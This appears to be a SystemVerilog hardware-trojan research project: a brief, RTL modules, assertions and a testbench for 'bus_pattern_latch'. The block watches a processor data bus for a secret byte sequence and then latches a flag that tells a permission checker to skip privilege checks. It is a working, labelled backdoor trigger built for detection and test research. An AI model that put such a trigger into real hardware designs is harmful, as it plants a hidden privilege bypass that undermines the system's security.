// File: doc/BRIEF.md
# Bus Byte-Sequence Privilege Override Latch

This block watches the stream of byte values on a processor's load/store data bus and recognises one ordered byte sequence that is fixed at build time. A byte is taken only on cycles where the data strobe is high. The sequence length is a parameter and can be made long, so that ordinary traffic almost never produces a false trigger. The block is a deliberate hardware-trojan example, intended for detection and test research.

When the last byte of the sequence is accepted, the block raises a one-cycle match pulse. It also sets an override flag that stays set. A neighbouring permission checker reads this flag as an order to skip the privilege-level comparison on every later data access. The override changes permission checking only. Address handling stays outside this block and is not affected. The flag is cleared by reset or by a synchronous disarm input.

Top module: `bus_pattern_latch`

## Requirements
- R1: Synchronous active-high reset clears the override flag, the match pulse and all matching progress. A sequence that was partly entered before reset must be entered again from its first byte.
- R2: Sequence byte k is `PATTERN[8*k +: 8]`, and byte 0 comes first. When the final byte is accepted at a clock edge, `match_pulse` is high for exactly the one cycle after that edge, and `bypass_priv` is high from that same cycle on.
- R3: A byte counts only when `beat_valid` is high. Idle cycles between sequence bytes neither advance nor discard progress.
- R4: An accepted byte that differs from the expected next byte restarts matching. If that byte equals sequence byte 0, it counts as the first byte of a new attempt.
- R5: Once set, `bypass_priv` stays high through any later bus traffic, matching or not, until reset or disarm.
- R6: A high `disarm` at a clock edge clears `bypass_priv` after that edge. It leaves matching progress unchanged.
- R7: When disarm and completion of the sequence happen at the same edge, completion takes priority: `bypass_priv` stays set and `match_pulse` fires.
- R8: After a completion, progress returns to the start, and a further complete sequence produces another match pulse.
- R9: Near-miss streams do not raise `match_pulse` or `bypass_priv`. This covers a stream whose final byte is wrong, and a stream with the right bytes in the wrong order.

## Ports
| Port | Direction | Width | Description |
|------|-----------|-------|-------------|
| clk | input | 1 | Clock |
| rst | input | 1 | Synchronous active-high reset |
| beat_valid | input | 1 | Data bus byte is valid this cycle |
| beat_data | input | 8 | Byte value on the data bus |
| disarm | input | 1 | Clears the override flag |
| bypass_priv | output | 1 | Sticky order to skip privilege comparison |
| match_pulse | output | 1 | One-cycle pulse on sequence completion |

## Verification
Two events can land on the same clock edge: a disarm request, and acceptance of the final sequence byte. The bench provokes this by driving `disarm` high together with the last byte of a valid sequence while the flag is already set. It then expects the flag to stay high and the pulse to fire. A second case asserts disarm partway through a sequence. The bench expects the flag to drop while the remaining bytes still complete the match, which shows that disarm does not disturb progress.

// File: rtl/bpl_pkg.sv
package bpl_pkg;
    localparam int BYTE_W = 8;

    typedef struct packed {
        logic              valid;
        logic [BYTE_W-1:0] data;
    } bus_beat_t;

    typedef enum logic [2:0] {
        EV_IDLE     = 3'd0,
        EV_ADVANCE  = 3'd1,
        EV_RESTART  = 3'd2,
        EV_CLEAR    = 3'd3,
        EV_COMPLETE = 3'd4
    } seq_event_e;

    function automatic logic is_complete(input seq_event_e ev);
        return ev == EV_COMPLETE;
    endfunction
endpackage

// File: rtl/bpl_cmp_bank.sv
module bpl_cmp_bank
    import bpl_pkg::*;
#(
    parameter int                       SEQ_LEN = 4,
    parameter logic [SEQ_LEN*BYTE_W-1:0] PATTERN = '0
) (
    input  logic [BYTE_W-1:0]  data,
    output logic [SEQ_LEN-1:0] hit_vec
);
    // One comparator per sequence position; the tracker picks the live one.
    for (genvar i = 0; i < SEQ_LEN; i++) begin : g_cmp
        assign hit_vec[i] = (data == PATTERN[i*BYTE_W +: BYTE_W]);
    end
endmodule

// File: rtl/bpl_tracker.sv
module bpl_tracker
    import bpl_pkg::*;
#(
    parameter int SEQ_LEN = 4
) (
    input  logic               clk,
    input  logic               rst,
    input  bus_beat_t          beat,
    input  logic [SEQ_LEN-1:0] hit_vec,
    output seq_event_e         ev
);
    localparam int IDX_W = (SEQ_LEN > 1) ? $clog2(SEQ_LEN) : 1;
    localparam logic [IDX_W-1:0] LAST_IDX = IDX_W'(SEQ_LEN - 1);

    logic [IDX_W-1:0] prog_q, prog_d;

    always_comb begin
        ev     = EV_IDLE;
        prog_d = prog_q;
        if (beat.valid) begin
            if (hit_vec[prog_q]) begin
                if (prog_q == LAST_IDX) begin
                    ev     = EV_COMPLETE;
                    prog_d = '0;
                end else begin
                    ev     = EV_ADVANCE;
                    prog_d = prog_q + IDX_W'(1);
                end
            end else if (hit_vec[0]) begin
                ev     = EV_RESTART;
                prog_d = IDX_W'(1);
            end else begin
                ev     = EV_CLEAR;
                prog_d = '0;
            end
        end
    end

    always_ff @(posedge clk) begin
        if (rst) prog_q <= '0;
        else     prog_q <= prog_d;
    end
endmodule

// File: rtl/bpl_latch.sv
module bpl_latch
    import bpl_pkg::*;
(
    input  logic       clk,
    input  logic       rst,
    input  seq_event_e ev,
    input  logic       disarm,
    output logic       bypass_q,
    output logic       pulse_q
);
    always_ff @(posedge clk) begin
        if (rst) begin
            bypass_q <= 1'b0;
            pulse_q  <= 1'b0;
        end else begin
            pulse_q <= is_complete(ev);
            if (is_complete(ev)) bypass_q <= 1'b1;
            else if (disarm)     bypass_q <= 1'b0;
        end
    end
endmodule

// File: rtl/bus_pattern_latch.sv
module bus_pattern_latch
    import bpl_pkg::*;
#(
    parameter int                        SEQ_LEN = 4,
    parameter logic [SEQ_LEN*BYTE_W-1:0] PATTERN = 32'h3C_A5_5A_C3
) (
    input  logic              clk,
    input  logic              rst,
    input  logic              beat_valid,
    input  logic [BYTE_W-1:0] beat_data,
    input  logic              disarm,
    output logic              bypass_priv,
    output logic              match_pulse
);
    bus_beat_t          beat;
    logic [SEQ_LEN-1:0] hit_vec;
    seq_event_e         ev;

    assign beat = '{valid: beat_valid, data: beat_data};

    bpl_cmp_bank #(.SEQ_LEN(SEQ_LEN), .PATTERN(PATTERN)) u_cmp (
        .data    (beat.data),
        .hit_vec (hit_vec)
    );

    bpl_tracker #(.SEQ_LEN(SEQ_LEN)) u_trk (
        .clk     (clk),
        .rst     (rst),
        .beat    (beat),
        .hit_vec (hit_vec),
        .ev      (ev)
    );

    bpl_latch u_lat (
        .clk      (clk),
        .rst      (rst),
        .ev       (ev),
        .disarm   (disarm),
        .bypass_q (bypass_priv),
        .pulse_q  (match_pulse)
    );
endmodule

// File: rtl/bpl_checker.sv
module bpl_checker #(
    parameter logic [7:0] LAST_BYTE = 8'h00
) (
    input logic       clk,
    input logic       rst,
    input logic       beat_valid,
    input logic [7:0] beat_data,
    input logic       disarm,
    input logic       bypass_priv,
    input logic       match_pulse
);
    AST_RESET_CLEARS: assert property (@(posedge clk) rst |=> (!bypass_priv && !match_pulse)); // R1
    AST_PULSE_LAST_BYTE: assert property (@(posedge clk) disable iff (rst)
        match_pulse |-> ($past(beat_valid) && $past(beat_data) == LAST_BYTE)); // R2
    AST_PULSE_SETS_FLAG: assert property (@(posedge clk) disable iff (rst)
        match_pulse |-> bypass_priv); // R2
    AST_IDLE_NO_PULSE: assert property (@(posedge clk) disable iff (rst)
        !beat_valid |=> !match_pulse); // R3
    AST_FLAG_STICKY: assert property (@(posedge clk) disable iff (rst)
        (bypass_priv && !disarm) |=> bypass_priv); // R5
    AST_DISARM_CLEARS: assert property (@(posedge clk) disable iff (rst)
        disarm |=> (!bypass_priv || match_pulse)); // R6
    AST_RISE_NEEDS_PULSE: assert property (@(posedge clk) disable iff (rst)
        $rose(bypass_priv) |-> match_pulse); // R7
endmodule

bind bus_pattern_latch bpl_checker #(.LAST_BYTE(PATTERN[SEQ_LEN*8-1 -: 8])) u_chk (
    .clk         (clk),
    .rst         (rst),
    .beat_valid  (beat_valid),
    .beat_data   (beat_data),
    .disarm      (disarm),
    .bypass_priv (bypass_priv),
    .match_pulse (match_pulse)
);

// File: tb/bus_pattern_latch_bench.sv
module bus_pattern_latch_bench;
    logic       clk = 1'b0;
    logic       rst = 1'b1;
    logic       beat_valid = 1'b0;
    logic [7:0] beat_data = 8'h00;
    logic       disarm = 1'b0;
    logic       bypass_priv, match_pulse;
    int         n_tests = 0, n_fail = 0;
    logic       done = 1'b0;

    always #4 clk = ~clk;

    bus_pattern_latch u_bus_pattern_latch (
        .clk(clk), .rst(rst), .beat_valid(beat_valid), .beat_data(beat_data),
        .disarm(disarm), .bypass_priv(bypass_priv), .match_pulse(match_pulse)
    );

    // {tag, valid, data, disarm, exp_pulse, exp_bypass}; sequence is C3 5A A5 3C
    localparam int NV = 41;
    localparam logic [15:0] VEC [NV] = '{
        {4'd2,1'b1,8'hC3,1'b0,1'b0,1'b0}, // R2
        {4'd2,1'b1,8'h5A,1'b0,1'b0,1'b0},
        {4'd3,1'b0,8'h00,1'b0,1'b0,1'b0}, // R3 idle gap
        {4'd3,1'b1,8'hA5,1'b0,1'b0,1'b0},
        {4'd2,1'b1,8'h3C,1'b0,1'b1,1'b1}, // R2 completion
        {4'd5,1'b0,8'h00,1'b0,1'b0,1'b1}, // R5
        {4'd5,1'b1,8'h11,1'b0,1'b0,1'b1},
        {4'd6,1'b0,8'h00,1'b1,1'b0,1'b0}, // R6
        {4'd9,1'b1,8'hC3,1'b0,1'b0,1'b0}, // R9 wrong last byte
        {4'd9,1'b1,8'h5A,1'b0,1'b0,1'b0},
        {4'd9,1'b1,8'hA5,1'b0,1'b0,1'b0},
        {4'd9,1'b1,8'h00,1'b0,1'b0,1'b0},
        {4'd4,1'b1,8'hC3,1'b0,1'b0,1'b0}, // R4 C3 5A C3 5A A5 3C
        {4'd4,1'b1,8'h5A,1'b0,1'b0,1'b0},
        {4'd4,1'b1,8'hC3,1'b0,1'b0,1'b0},
        {4'd4,1'b1,8'h5A,1'b0,1'b0,1'b0},
        {4'd4,1'b1,8'hA5,1'b0,1'b0,1'b0},
        {4'd4,1'b1,8'h3C,1'b0,1'b1,1'b1},
        {4'd6,1'b1,8'hC3,1'b0,1'b0,1'b1}, // R6 disarm mid-sequence
        {4'd6,1'b1,8'h5A,1'b0,1'b0,1'b1},
        {4'd6,1'b1,8'hA5,1'b1,1'b0,1'b0},
        {4'd6,1'b1,8'h3C,1'b0,1'b1,1'b1},
        {4'd7,1'b1,8'hC3,1'b0,1'b0,1'b1}, // R7 collision
        {4'd7,1'b1,8'h5A,1'b0,1'b0,1'b1},
        {4'd7,1'b1,8'hA5,1'b0,1'b0,1'b1},
        {4'd7,1'b1,8'h3C,1'b1,1'b1,1'b1},
        {4'd6,1'b0,8'h00,1'b1,1'b0,1'b0},
        {4'd9,1'b1,8'h5A,1'b0,1'b0,1'b0}, // R9 out of order
        {4'd9,1'b1,8'hC3,1'b0,1'b0,1'b0},
        {4'd9,1'b1,8'hA5,1'b0,1'b0,1'b0},
        {4'd9,1'b1,8'h3C,1'b0,1'b0,1'b0},
        {4'd4,1'b1,8'hC3,1'b0,1'b0,1'b0}, // R4 C3 C3 5A A5 3C
        {4'd4,1'b1,8'hC3,1'b0,1'b0,1'b0},
        {4'd4,1'b1,8'h5A,1'b0,1'b0,1'b0},
        {4'd4,1'b1,8'hA5,1'b0,1'b0,1'b0},
        {4'd4,1'b1,8'h3C,1'b0,1'b1,1'b1},
        {4'd8,1'b1,8'hC3,1'b0,1'b0,1'b1}, // R8 repeat
        {4'd8,1'b1,8'h5A,1'b0,1'b0,1'b1},
        {4'd8,1'b1,8'hA5,1'b0,1'b0,1'b1},
        {4'd8,1'b1,8'h3C,1'b0,1'b1,1'b1},
        {4'd6,1'b0,8'h00,1'b1,1'b0,1'b0}
    };

    task automatic check(input int tag, input logic ep, input logic eb);
        n_tests++;
        if (match_pulse !== ep || bypass_priv !== eb) begin
            n_fail++;
            $display("FAIL R%0d: pulse=%b bypass=%b expected pulse=%b bypass=%b",
                     tag, match_pulse, bypass_priv, ep, eb);
        end
    endtask

    task automatic beat(input logic v, input logic [7:0] d, input logic dis);
        beat_valid = v; beat_data = d; disarm = dis;
        @(negedge clk);
    endtask

    initial begin
        repeat (3) @(negedge clk);
        check(1, 1'b0, 1'b0); // R1 reset state
        rst = 1'b0;
        for (int i = 0; i < NV; i++) begin
            beat(VEC[i][11], VEC[i][10:3], VEC[i][2]);
            check(int'(VEC[i][15:12]), VEC[i][1], VEC[i][0]);
        end
        // R1: reset discards partial progress
        beat(1'b1, 8'hC3, 1'b0);
        beat(1'b1, 8'h5A, 1'b0);
        beat(1'b1, 8'hA5, 1'b0);
        rst = 1'b1; beat(1'b0, 8'h00, 1'b0); rst = 1'b0;
        beat(1'b1, 8'h3C, 1'b0);
        check(1, 1'b0, 1'b0);
        // R1: reset clears a set flag
        beat(1'b1, 8'hC3, 1'b0); beat(1'b1, 8'h5A, 1'b0);
        beat(1'b1, 8'hA5, 1'b0); beat(1'b1, 8'h3C, 1'b0);
        check(2, 1'b1, 1'b1);
        rst = 1'b1; beat(1'b0, 8'h00, 1'b0); rst = 1'b0;
        check(1, 1'b0, 1'b0);
        // R3: long idle gaps keep progress
        beat(1'b1, 8'hC3, 1'b0);
        repeat (5) beat(1'b0, 8'h3C, 1'b0);
        beat(1'b1, 8'h5A, 1'b0); beat(1'b0, 8'hC3, 1'b0);
        beat(1'b1, 8'hA5, 1'b0); beat(1'b1, 8'h3C, 1'b0);
        check(3, 1'b1, 1'b1);
        beat(1'b0, 8'h00, 1'b0);
        check(2, 1'b0, 1'b1); // R2 pulse lasts one cycle
        done = 1'b1;
        $display("[TB] %0d tests run, %0d failed", n_tests, n_fail);
        $finish;
    end

    initial begin
        repeat (5000) @(posedge clk);
        if (!done) begin
            n_tests++; n_fail++;
            $display("FAIL watchdog: run hung, got no finish, expected finish");
            $display("[TB] %0d tests run, %0d failed", n_tests, n_fail);
            $finish;
        end
    end
endmodule